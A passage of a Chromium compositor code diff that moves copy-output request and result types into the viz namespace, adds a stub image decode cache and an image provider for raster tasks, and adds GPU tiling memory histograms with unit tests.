+std::unique_ptr<viz::CopyOutputRequest>
 LayerTreePixelTest::CreateCopyOutputRequest() {
-  return CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+  return viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
       &LayerTreePixelTest::ReadbackResult, base::Unretained(this)));
 }
 
 void LayerTreePixelTest::ReadbackResult(
-    std::unique_ptr<CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   ASSERT_TRUE(result->HasBitmap());
   result_bitmap_ = result->TakeBitmap();
   EndTest();
diff --git a/cc/test/layer_tree_pixel_test.h b/cc/test/layer_tree_pixel_test.h
index 69fb068..bad5fd67 100644
--- a/cc/test/layer_tree_pixel_test.h
+++ b/cc/test/layer_tree_pixel_test.h
@@ -10,19 +10,19 @@
 
 #include "base/files/file_path.h"
 #include "base/memory/ref_counted.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/test/layer_tree_test.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "ui/gl/gl_implementation.h"
 
 class SkBitmap;
 
 namespace viz {
+class CopyOutputRequest;
+class CopyOutputResult;
 class TextureMailbox;
 }
 
 namespace cc {
-class CopyOutputRequest;
-class CopyOutputResult;
 class PixelComparator;
 class SolidColorLayer;
 class TextureLayer;
@@ -47,9 +47,9 @@
   std::unique_ptr<OutputSurface> CreateDisplayOutputSurfaceOnThread(
       scoped_refptr<viz::ContextProvider> compositor_context_provider) override;
 
-  virtual std::unique_ptr<CopyOutputRequest> CreateCopyOutputRequest();
+  virtual std::unique_ptr<viz::CopyOutputRequest> CreateCopyOutputRequest();
 
-  void ReadbackResult(std::unique_ptr<CopyOutputResult> result);
+  void ReadbackResult(std::unique_ptr<viz::CopyOutputResult> result);
 
   void BeginTest() override;
   void SetupTree() override;
diff --git a/cc/test/layer_tree_test.cc b/cc/test/layer_tree_test.cc
index 83919e6b..5a41348 100644
--- a/cc/test/layer_tree_test.cc
+++ b/cc/test/layer_tree_test.cc
@@ -7,7 +7,6 @@
 #include "base/command_line.h"
 #include "base/location.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -738,7 +737,7 @@
     return;
   }
 
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void LayerTreeTest::DispatchAddAnimationToPlayer(
diff --git a/cc/test/pixel_test.cc b/cc/test/pixel_test.cc
index 3a605628..4317d3b 100644
--- a/cc/test/pixel_test.cc
+++ b/cc/test/pixel_test.cc
@@ -11,8 +11,6 @@
 #include "base/threading/thread_task_runner_handle.h"
 #include "cc/base/switches.h"
 #include "cc/output/compositor_frame_metadata.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/gl_renderer.h"
 #include "cc/output/output_surface_client.h"
 #include "cc/output/software_output_device.h"
@@ -28,6 +26,8 @@
 #include "cc/test/test_shared_bitmap_manager.h"
 #include "cc/trees/blocking_task_runner.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/test/paths.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -66,8 +66,8 @@
     const gfx::Rect* copy_rect) {
   base::RunLoop run_loop;
 
-  std::unique_ptr<CopyOutputRequest> request =
-      CopyOutputRequest::CreateBitmapRequest(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(
           base::BindOnce(&PixelTest::ReadbackResult, base::Unretained(this),
                          run_loop.QuitClosure()));
   if (copy_rect)
@@ -97,8 +97,8 @@
   base::RunLoop run_loop;
   RenderPass* target = pass_list->back().get();
 
-  std::unique_ptr<CopyOutputRequest> request =
-      CopyOutputRequest::CreateBitmapRequest(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(
           base::BindOnce(&PixelTest::ReadbackResult, base::Unretained(this),
                          run_loop.QuitClosure()));
   target->copy_requests.push_back(std::move(request));
@@ -129,7 +129,7 @@
 }
 
 void PixelTest::ReadbackResult(base::Closure quit_run_loop,
-                               std::unique_ptr<CopyOutputResult> result) {
+                               std::unique_ptr<viz::CopyOutputResult> result) {
   ASSERT_TRUE(result->HasBitmap());
   result_bitmap_ = result->TakeBitmap();
   quit_run_loop.Run();
diff --git a/cc/test/pixel_test.h b/cc/test/pixel_test.h
index 7eae925..0b544f0 100644
--- a/cc/test/pixel_test.h
+++ b/cc/test/pixel_test.h
@@ -15,8 +15,11 @@
 #ifndef CC_TEST_PIXEL_TEST_H_
 #define CC_TEST_PIXEL_TEST_H_
 
-namespace cc {
+namespace viz {
 class CopyOutputResult;
+}
+
+namespace cc {
 class DirectRenderer;
 class FakeOutputSurfaceClient;
 class OutputSurface;
@@ -76,7 +79,7 @@
 
  private:
   void ReadbackResult(base::Closure quit_run_loop,
-                      std::unique_ptr<CopyOutputResult> result);
+                      std::unique_ptr<viz::CopyOutputResult> result);
 
   bool PixelsMatchReference(const base::FilePath& ref_file,
                             const PixelComparator& comparator);
diff --git a/cc/test/scheduler_test_common.h b/cc/test/scheduler_test_common.h
index 0c3dad0..493be9b 100644
--- a/cc/test/scheduler_test_common.h
+++ b/cc/test/scheduler_test_common.h
@@ -15,7 +15,7 @@
 #include "base/time/time.h"
 #include "cc/scheduler/compositor_timing_history.h"
 #include "cc/scheduler/scheduler.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace cc {
diff --git a/cc/test/stub_decode_cache.cc b/cc/test/stub_decode_cache.cc
new file mode 100644
index 0000000..4b7e114
--- /dev/null
+++ b/cc/test/stub_decode_cache.cc
@@ -0,0 +1,31 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "cc/test/stub_decode_cache.h"
+
+namespace cc {
+
+bool StubDecodeCache::GetTaskForImageAndRef(const DrawImage& image,
+                                            const TracingInfo& tracing_info,
+                                            scoped_refptr<TileTask>* task) {
+  return true;
+}
+
+bool StubDecodeCache::GetOutOfRasterDecodeTaskForImageAndRef(
+    const DrawImage& image,
+    scoped_refptr<TileTask>* task) {
+  return true;
+}
+
+DecodedDrawImage StubDecodeCache::GetDecodedImageForDraw(
+    const DrawImage& image) {
+  return DecodedDrawImage(nullptr, SkSize::MakeEmpty(),
+                          SkSize::Make(1.0f, 1.0f), kNone_SkFilterQuality);
+}
+
+size_t StubDecodeCache::GetMaximumMemoryLimitBytes() const {
+  return 0u;
+}
+
+}  // namespace cc
diff --git a/cc/test/stub_decode_cache.h b/cc/test/stub_decode_cache.h
new file mode 100644
index 0000000..05d6e825
--- /dev/null
+++ b/cc/test/stub_decode_cache.h
@@ -0,0 +1,37 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CC_TEST_STUB_DECODE_CACHE_H_
+#define CC_TEST_STUB_DECODE_CACHE_H_
+
+#include "cc/tiles/image_decode_cache.h"
+
+namespace cc {
+
+class StubDecodeCache : public ImageDecodeCache {
+ public:
+  StubDecodeCache() = default;
+  ~StubDecodeCache() override = default;
+
+  bool GetTaskForImageAndRef(const DrawImage& image,
+                             const TracingInfo& tracing_info,
+                             scoped_refptr<TileTask>* task) override;
+  bool GetOutOfRasterDecodeTaskForImageAndRef(
+      const DrawImage& image,
+      scoped_refptr<TileTask>* task) override;
+  void UnrefImage(const DrawImage& image) override {}
+  DecodedDrawImage GetDecodedImageForDraw(const DrawImage& image) override;
+  void DrawWithImageFinished(const DrawImage& image,
+                             const DecodedDrawImage& decoded_image) override {}
+  void ReduceCacheUsage() override {}
+  void SetShouldAggressivelyFreeResources(
+      bool aggressively_free_resources) override {}
+  void ClearCache() override {}
+  size_t GetMaximumMemoryLimitBytes() const override;
+  void NotifyImageUnused(uint32_t skimage_id) override {}
+};
+
+}  // namespace cc
+
+#endif  // CC_TEST_STUB_DECODE_CACHE_H_
diff --git a/cc/test/test_skcanvas.h b/cc/test/test_skcanvas.h
index b1eeb86c..56cd420d 100644
--- a/cc/test/test_skcanvas.h
+++ b/cc/test/test_skcanvas.h
@@ -48,6 +48,17 @@
   MOCK_METHOD1(OnDrawRectWithColor, void(SkColor));
   MOCK_METHOD0(OnSaveLayer, void());
   MOCK_METHOD0(willRestore, void());
+  MOCK_METHOD0(willSave, void());
+  MOCK_METHOD4(onDrawImage,
+               void(const SkImage*, SkScalar, SkScalar, const SkPaint*));
+  MOCK_METHOD5(onDrawImageRect,
+               void(const SkImage*,
+                    const SkRect*,
+                    const SkRect&,
+                    const SkPaint*,
+                    SrcRectConstraint));
+  MOCK_METHOD1(didConcat, void(const SkMatrix&));
+  MOCK_METHOD2(onDrawOval, void(const SkRect&, const SkPaint&));
 };
 
 }  // namespace cc
diff --git a/cc/tiles/checker_image_tracker.cc b/cc/tiles/checker_image_tracker.cc
index 2561744..6ae4d43 100644
--- a/cc/tiles/checker_image_tracker.cc
+++ b/cc/tiles/checker_image_tracker.cc
@@ -40,11 +40,10 @@
 };
 
 std::string ToString(PaintImage::Id paint_image_id,
-                     SkImageId sk_image_id,
                      CheckerImagingDecision decision) {
   std::ostringstream str;
-  str << "paint_image_id[" << paint_image_id << "] sk_image_id[" << sk_image_id
-      << "] decision[" << static_cast<int>(decision) << "]";
+  str << "paint_image_id[" << paint_image_id << "] decision["
+      << static_cast<int>(decision) << "]";
   return str.str();
 }
 
@@ -304,7 +303,7 @@
 
     TRACE_EVENT1(TRACE_DISABLED_BY_DEFAULT("cc.debug"),
                  "CheckerImageTracker::CheckerImagingDecision", "image_params",
-                 ToString(image_id, image.sk_image()->uniqueID(), decision));
+                 ToString(image_id, decision));
   }
 
   // Update the decode state from the latest image we have seen. Note that it
diff --git a/cc/tiles/image_controller.h b/cc/tiles/image_controller.h
index f1ffd39..33b1400 100644
--- a/cc/tiles/image_controller.h
+++ b/cc/tiles/image_controller.h
@@ -65,6 +65,8 @@
     image_cache_max_limit_bytes_ = bytes;
   }
 
+  ImageDecodeCache* cache() const { return cache_; }
+
  protected:
   scoped_refptr<base::SequencedTaskRunner> worker_task_runner_;
 
diff --git a/cc/tiles/image_decode_cache.h b/cc/tiles/image_decode_cache.h
index 1a67b9f..72cd44d 100644
--- a/cc/tiles/image_decode_cache.h
+++ b/cc/tiles/image_decode_cache.h
@@ -7,8 +7,8 @@
 
 #include "base/memory/ref_counted.h"
 #include "cc/base/devtools_instrumentation.h"
+#include "cc/paint/decoded_draw_image.h"
 #include "cc/paint/draw_image.h"
-#include "cc/tiles/decoded_draw_image.h"
 #include "cc/tiles/tile_priority.h"
 
 namespace cc {
diff --git a/cc/tiles/software_image_decode_cache.h b/cc/tiles/software_image_decode_cache.h
index 04af6b0..d7d15dd 100644
--- a/cc/tiles/software_image_decode_cache.h
+++ b/cc/tiles/software_image_decode_cache.h
@@ -22,7 +22,6 @@
 #include "base/trace_event/memory_dump_provider.h"
 #include "cc/cc_export.h"
 #include "cc/paint/draw_image.h"
-#include "cc/tiles/decoded_draw_image.h"
 #include "cc/tiles/image_decode_cache.h"
 #include "components/viz/common/quads/resource_format.h"
 #include "third_party/skia/include/core/SkRefCnt.h"
diff --git a/cc/tiles/tile_manager.cc b/cc/tiles/tile_manager.cc
index f1dd3004..bb5c8fe 100644
--- a/cc/tiles/tile_manager.cc
+++ b/cc/tiles/tile_manager.cc
@@ -25,6 +25,7 @@
 #include "cc/base/histograms.h"
 #include "cc/debug/traced_value.h"
 #include "cc/layers/picture_layer_impl.h"
+#include "cc/raster/playback_image_provider.h"
 #include "cc/raster/raster_buffer.h"
 #include "cc/raster/task_category.h"
 #include "cc/tiles/frame_viewer_instrumentation.h"
@@ -91,7 +92,8 @@
                  uint64_t source_prepare_tiles_id,
                  std::unique_ptr<RasterBuffer> raster_buffer,
                  TileTask::Vector* dependencies,
-                 bool is_gpu_rasterization)
+                 bool is_gpu_rasterization,
+                 std::unique_ptr<ImageProvider> image_provider)
       : TileTask(!is_gpu_rasterization, dependencies),
         tile_manager_(tile_manager),
         tile_id_(tile->id()),
@@ -108,8 +110,10 @@
         new_content_id_(tile->id()),
         source_frame_number_(tile->source_frame_number()),
         is_gpu_rasterization_(is_gpu_rasterization),
-        raster_buffer_(std::move(raster_buffer)) {
+        raster_buffer_(std::move(raster_buffer)),
+        image_provider_(std::move(image_provider)) {
     DCHECK(origin_thread_checker_.CalledOnValidThread());
+    playback_settings_.image_provider = image_provider_.get();
   }
 
   // Overridden from Task:
@@ -173,6 +177,7 @@
   int source_frame_number_;
   bool is_gpu_rasterization_;
   std::unique_ptr<RasterBuffer> raster_buffer_;
+  std::unique_ptr<ImageProvider> image_provider_;
 
   DISALLOW_COPY_AND_ASSIGN(RasterTaskImpl);
 };
@@ -1101,7 +1106,7 @@
 
   // For LOW_RESOLUTION tiles, we don't draw or predecode images.
   RasterSource::PlaybackSettings playback_settings;
-  playback_settings.skip_images =
+  const bool skip_images =
       prioritized_tile.priority().resolution == LOW_RESOLUTION;
   playback_settings.use_lcd_text = tile->can_use_lcd_text();
 
@@ -1113,12 +1118,13 @@
   std::vector<DrawImage>& sync_decoded_images =
       scheduled_draw_images_[tile->id()];
   sync_decoded_images.clear();
-  if (!playback_settings.skip_images) {
+  PaintImageIdFlatSet images_to_skip;
+  if (!skip_images) {
     std::vector<PaintImage> checkered_images;
     PartitionImagesForCheckering(prioritized_tile, color_space,
                                  &sync_decoded_images, &checkered_images);
     for (const auto& image : checkered_images) {
-      playback_settings.images_to_skip.insert(image.sk_image()->uniqueID());
+      images_to_skip.insert(image.stable_id());
 
       // This can be the case for tiles on the active tree that will be replaced
       // or are occluded on the pending tree. While we still need to continue
@@ -1132,12 +1138,7 @@
     }
   }
 
-  // We can skip the image hijack canvas if we have no images, or no images to
-  // skip during raster.
-  playback_settings.use_image_hijack_canvas =
-      !sync_decoded_images.empty() || !playback_settings.images_to_skip.empty();
-
-  bool has_checker_images = !playback_settings.images_to_skip.empty();
+  const bool has_checker_images = !images_to_skip.empty();
   tile->set_raster_task_scheduled_with_checker_images(has_checker_images);
   if (has_checker_images)
     num_of_tiles_with_checker_images_++;
@@ -1152,11 +1153,20 @@
   std::unique_ptr<RasterBuffer> raster_buffer =
       raster_buffer_provider_->AcquireBufferForRaster(
           resource, resource_content_id, tile->invalidated_id());
+
+  std::unique_ptr<ImageProvider> image_provider;
+  const bool has_predecoded_images = !sync_decoded_images.empty();
+  if (skip_images || has_checker_images || has_predecoded_images) {
+    image_provider = base::MakeUnique<PlaybackImageProvider>(
+        skip_images, std::move(images_to_skip), image_controller_.cache(),
+        color_space);
+  }
+
   return make_scoped_refptr(new RasterTaskImpl(
       this, tile, resource, prioritized_tile.raster_source(), playback_settings,
       prioritized_tile.priority().resolution, invalidated_rect,
       prepare_tiles_count_, std::move(raster_buffer), &decode_tasks,
-      use_gpu_rasterization_));
+      use_gpu_rasterization_, std::move(image_provider)));
 }
 
 void TileManager::ResetSignalsForTesting() {
diff --git a/cc/trees/blocking_task_runner_unittest.cc b/cc/trees/blocking_task_runner_unittest.cc
index 03b9fae..78a3707b 100644
--- a/cc/trees/blocking_task_runner_unittest.cc
+++ b/cc/trees/blocking_task_runner_unittest.cc
@@ -9,7 +9,7 @@
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
-#include "cc/test/ordered_simple_task_runner.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace cc {
diff --git a/cc/trees/layer_tree_host_common_unittest.cc b/cc/trees/layer_tree_host_common_unittest.cc
index b978bf5..206739946 100644
--- a/cc/trees/layer_tree_host_common_unittest.cc
+++ b/cc/trees/layer_tree_host_common_unittest.cc
@@ -26,8 +26,6 @@
 #include "cc/layers/layer_impl.h"
 #include "cc/layers/render_surface_impl.h"
 #include "cc/layers/texture_layer_impl.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/test/animation_test_common.h"
 #include "cc/test/fake_content_layer_client.h"
 #include "cc/test/fake_impl_task_runner_provider.h"
@@ -47,6 +45,8 @@
 #include "cc/trees/single_thread_proxy.h"
 #include "cc/trees/task_runner_provider.h"
 #include "cc/trees/transform_node.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/skia/include/core/SkImageFilter.h"
 #include "third_party/skia/include/effects/SkOffsetImageFilter.h"
@@ -4803,7 +4803,7 @@
   EXPECT_FALSE(grand_child_layer->contributes_to_drawn_render_surface());
 }
 
-void EmptyCopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {}
+void EmptyCopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {}
 
 TEST_F(LayerTreeHostCommonTest, SubtreeHiddenWithCopyRequest) {
   FakeImplTaskRunnerProvider task_runner_provider;
@@ -4884,7 +4884,7 @@
   copy_grand_child_layer->test_properties()->hide_layer_and_subtree = true;
 
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
 
   RenderSurfaceList render_surface_list;
@@ -4981,7 +4981,7 @@
   copy_child->SetDrawsContent(true);
 
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
 
   copy_layer->test_properties()->AddChild(std::move(copy_child));
@@ -5023,7 +5023,7 @@
   copy_layer->SetBounds(gfx::Size(100, 100));
   copy_layer->SetDrawsContent(true);
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
 
   LayerImpl* copy_child = AddChild<LayerImpl>(copy_layer);
@@ -5084,7 +5084,7 @@
   copy_surface->test_properties()->force_render_surface = true;
 
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
 
   DCHECK(!copy_layer->test_properties()->copy_requests.empty());
@@ -5100,7 +5100,7 @@
   copy_layer->SetBounds(gfx::Size(50, 50));
   copy_layer->SetMasksToBounds(true);
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
   root->layer_tree_impl()->property_trees()->needs_rebuild = true;
 
@@ -5116,7 +5116,7 @@
   // Case 3: When there is device scale factor.
   float device_scale_factor = 2.f;
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
 
   DCHECK(!copy_layer->test_properties()->copy_requests.empty());
@@ -8664,7 +8664,7 @@
   EXPECT_EQ(gfx::Rect(0, 5, 25, 25), scroll_child->visible_layer_rect());
 }
 
-static void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {}
+static void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {}
 
 TEST_F(LayerTreeHostCommonTest, HasCopyRequestsInTargetSubtree) {
   scoped_refptr<Layer> root = Layer::Create();
@@ -8679,10 +8679,11 @@
   grandchild->AddChild(greatgrandchild);
   host()->SetRootLayer(root);
 
-  child1->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+  child1->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
       base::BindOnce(&CopyOutputCallback)));
-  greatgrandchild->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
-      base::BindOnce(&CopyOutputCallback)));
+  greatgrandchild->RequestCopyOfOutput(
+      viz::CopyOutputRequest::CreateBitmapRequest(
+          base::BindOnce(&CopyOutputCallback)));
   child2->SetOpacity(0.f);
   ExecuteCalculateDrawPropertiesAndSaveUpdateLayerList(root.get());
 
@@ -8768,7 +8769,7 @@
   // Now, even though child has zero opacity, we will configure |grandchild| and
   // |greatgrandchild| in several ways that should force the subtree to be
   // processed anyhow.
-  grandchild->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+  grandchild->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
       base::BindOnce(&CopyOutputCallback)));
   ExecuteCalculateDrawPropertiesAndSaveUpdateLayerList(root.get());
   update_list = GetUpdateLayerList();
@@ -8882,7 +8883,7 @@
   // |greatgrandchild| in several ways that should force the subtree to be
   // processed anyhow.
   grandchild_ptr->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateEmptyRequest());
+      viz::CopyOutputRequest::CreateEmptyRequest());
   root_ptr->layer_tree_impl()->property_trees()->needs_rebuild = true;
   ExecuteCalculateDrawPropertiesAndSaveUpdateLayerList(root_ptr);
   EXPECT_EQ(gfx::Rect(10, 10), grandchild_ptr->visible_layer_rect());
@@ -9091,7 +9092,7 @@
   parent->AddChild(child);
   host()->SetRootLayer(root);
 
-  child->RequestCopyOfOutput(CopyOutputRequest::CreateRequest(
+  child->RequestCopyOfOutput(viz::CopyOutputRequest::CreateRequest(
       base::BindOnce(&EmptyCopyOutputCallback)));
 
   ExecuteCalculateDrawPropertiesAndSaveUpdateLayerList(root.get());
@@ -10198,7 +10199,8 @@
   // Need to persist the render surface after copy request is cleared.
   copy_layer->test_properties()->force_render_surface = true;
   copy_layer->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(base::Bind(&EmptyCopyOutputCallback)));
+      viz::CopyOutputRequest::CreateRequest(
+          base::Bind(&EmptyCopyOutputCallback)));
 
   clip_layer->SetDrawsContent(true);
   clip_layer->SetMasksToBounds(true);
diff --git a/cc/trees/layer_tree_host_impl.cc b/cc/trees/layer_tree_host_impl.cc
index 02db8ab..1b2c650 100644
--- a/cc/trees/layer_tree_host_impl.cc
+++ b/cc/trees/layer_tree_host_impl.cc
@@ -48,7 +48,6 @@
 #include "cc/layers/viewport.h"
 #include "cc/output/compositor_frame.h"
 #include "cc/output/compositor_frame_metadata.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/output/layer_tree_frame_sink.h"
 #include "cc/quads/render_pass_draw_quad.h"
 #include "cc/quads/shared_quad_state.h"
@@ -83,6 +82,7 @@
 #include "cc/trees/transform_node.h"
 #include "cc/trees/tree_synchronizer.h"
 #include "components/viz/common/frame_sinks/delay_based_time_source.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "gpu/GLES2/gl2extchromium.h"
 #include "gpu/command_buffer/client/context_support.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
@@ -1105,16 +1105,19 @@
     input_handler_client_->ReconcileElasticOverscrollAndRootScroll();
 
   if (const char* client_name = GetClientNameForMetrics()) {
-    size_t total_memory = 0;
-    for (const PictureLayerImpl* layer : active_tree()->picture_layers())
-      total_memory += layer->GetRasterSource()->GetMemoryUsage();
-    if (total_memory != 0) {
+    size_t total_memory_in_bytes = 0;
+    size_t total_gpu_memory_for_tilings_in_bytes = 0;
+    for (const PictureLayerImpl* layer : active_tree()->picture_layers()) {
+      total_memory_in_bytes += layer->GetRasterSource()->GetMemoryUsage();
+      total_gpu_memory_for_tilings_in_bytes += layer->GPUMemoryUsageInBytes();
+    }
+    if (total_memory_in_bytes != 0) {
       // GetClientNameForMetrics only returns one non-null value over the
       // lifetime of the process, so this histogram name is runtime constant.
       UMA_HISTOGRAM_COUNTS(
           base::StringPrintf("Compositing.%s.PictureMemoryUsageKb",
                              client_name),
-          base::saturated_cast<int>(total_memory / 1024));
+          base::saturated_cast<int>(total_memory_in_bytes / 1024));
     }
 
     // GetClientNameForMetrics only returns one non-null value over the lifetime
@@ -1128,6 +1131,18 @@
                            client_name),
         base::saturated_cast<int>(active_tree_->picture_layers().size()), 1,
         400, 20);
+
+    // TODO(yigu): Maybe we should use the same check above. Need to figure out
+    // why exactly we skip 0.
+    if (!active_tree()->picture_layers().empty()) {
+      UMA_HISTOGRAM_CUSTOM_COUNTS(
+          base::StringPrintf("Compositing.%s.GPUMemoryForTilingsInKb",
+                             client_name),
+          base::saturated_cast<int>(total_gpu_memory_for_tilings_in_bytes /
+                                    1024),
+          1, kGPUMemoryForTilingsLargestBucketKb,
+          kGPUMemoryForTilingsBucketCount);
+    }
   }
 
   bool ok = active_tree_->UpdateDrawProperties();
diff --git a/cc/trees/layer_tree_host_impl_unittest.cc b/cc/trees/layer_tree_host_impl_unittest.cc
index 84ff949..5cbf7a1 100644
--- a/cc/trees/layer_tree_host_impl_unittest.cc
+++ b/cc/trees/layer_tree_host_impl_unittest.cc
@@ -20,6 +20,7 @@
 #include "cc/animation/animation_host.h"
 #include "cc/animation/animation_id_provider.h"
 #include "cc/animation/transform_operations.h"
+#include "cc/base/histograms.h"
 #include "cc/base/math_util.h"
 #include "cc/input/browser_controls_offset_manager.h"
 #include "cc/input/main_thread_scrolling_reason.h"
@@ -36,8 +37,6 @@
 #include "cc/layers/video_layer_impl.h"
 #include "cc/layers/viewport.h"
 #include "cc/output/compositor_frame_metadata.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/gl_renderer.h"
 #include "cc/output/latency_info_swap_promise.h"
 #include "cc/quads/render_pass_draw_quad.h"
@@ -69,6 +68,8 @@
 #include "cc/trees/single_thread_proxy.h"
 #include "cc/trees/transform_node.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/test/begin_frame_args_test.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
 #include "media/base/media.h"
@@ -565,6 +566,45 @@
     host_impl_->DidDrawAllLayers(frame);
   }
 
+  void TestGPUMemoryForTilings(const gfx::Size& layer_size) {
+    LayerTreeSettings settings = DefaultSettings();
+    CreateHostImpl(settings, CreateLayerTreeFrameSink());
+
+    std::unique_ptr<FakeRecordingSource> recording_source =
+        FakeRecordingSource::CreateFilledRecordingSource(layer_size);
+    PaintImage checkerable_image = PaintImage(
+        PaintImage::GetNextId(), CreateDiscardableImage(gfx::Size(500, 500)));
+    recording_source->add_draw_image(checkerable_image, gfx::Point(0, 0));
+
+    recording_source->Rerecord();
+    scoped_refptr<FakeRasterSource> raster_source =
+        FakeRasterSource::CreateFromRecordingSource(recording_source.get());
+
+    // Create the pending tree.
+    host_impl_->BeginCommit();
+    LayerTreeImpl* pending_tree = host_impl_->pending_tree();
+    host_impl_->SetViewportSize(layer_size);
+    pending_tree->SetRootLayerForTesting(
+        FakePictureLayerImpl::CreateWithRasterSource(pending_tree, 1,
+                                                     raster_source));
+    auto* root = static_cast<FakePictureLayerImpl*>(*pending_tree->begin());
+    root->SetBounds(layer_size);
+    root->SetDrawsContent(true);
+    pending_tree->BuildPropertyTreesForTesting();
+
+    // CompleteCommit which should perform a PrepareTiles, adding tilings for
+    // the root layer, each one having a raster task.
+    host_impl_->CommitComplete();
+    // Activate the pending tree and ensure that all tiles are rasterized.
+    while (!did_notify_ready_to_activate_)
+      base::RunLoop().RunUntilIdle();
+
+    DrawFrame();
+
+    host_impl_->ReleaseLayerTreeFrameSink();
+    host_impl_ = nullptr;
+  }
+
   void pinch_zoom_pan_viewport_forces_commit_redraw(float device_scale_factor);
   void pinch_zoom_pan_viewport_test(float device_scale_factor);
   void pinch_zoom_pan_viewport_and_scroll_test(float device_scale_factor);
@@ -894,6 +934,30 @@
                                     1);
 }
 
+TEST_F(LayerTreeHostImplTest, GPUMemoryForSmallLayerHistogramTest) {
+  base::HistogramTester histogram_tester;
+  SetClientNameForMetrics("Renderer");
+  // With default tile size being set to 256 * 256, the following layer needs
+  // one tile only which costs 256 * 256 * 4 / 1024 = 256KB memory.
+  TestGPUMemoryForTilings(gfx::Size(200, 200));
+  histogram_tester.ExpectBucketCount(
+      "Compositing.Renderer.GPUMemoryForTilingsInKb", 256, 1);
+  histogram_tester.ExpectTotalCount(
+      "Compositing.Renderer.GPUMemoryForTilingsInKb", 1);
+}
+
+TEST_F(LayerTreeHostImplTest, GPUMemoryForLargeLayerHistogramTest) {
+  base::HistogramTester histogram_tester;
+  SetClientNameForMetrics("Browser");
+  // With default tile size being set to 256 * 256, the following layer needs
+  // 4 tiles which cost 256 * 256 * 4 * 4 / 1024 = 1024KB memory.
+  TestGPUMemoryForTilings(gfx::Size(500, 500));
+  histogram_tester.ExpectBucketCount(
+      "Compositing.Browser.GPUMemoryForTilingsInKb", 1024, 1);
+  histogram_tester.ExpectTotalCount(
+      "Compositing.Browser.GPUMemoryForTilingsInKb", 1);
+}
+
 TEST_F(LayerTreeHostImplTest, ScrollRootCallsCommitAndRedraw) {
   SetupScrollAndContentsLayers(gfx::Size(100, 100));
   host_impl_->active_tree()->BuildPropertyTreesForTesting();
@@ -3867,11 +3931,11 @@
     did_draw_called_ = false;
   }
 
-  static void IgnoreResult(std::unique_ptr<CopyOutputResult> result) {}
+  static void IgnoreResult(std::unique_ptr<viz::CopyOutputResult> result) {}
 
   void AddCopyRequest() {
     test_properties()->copy_requests.push_back(
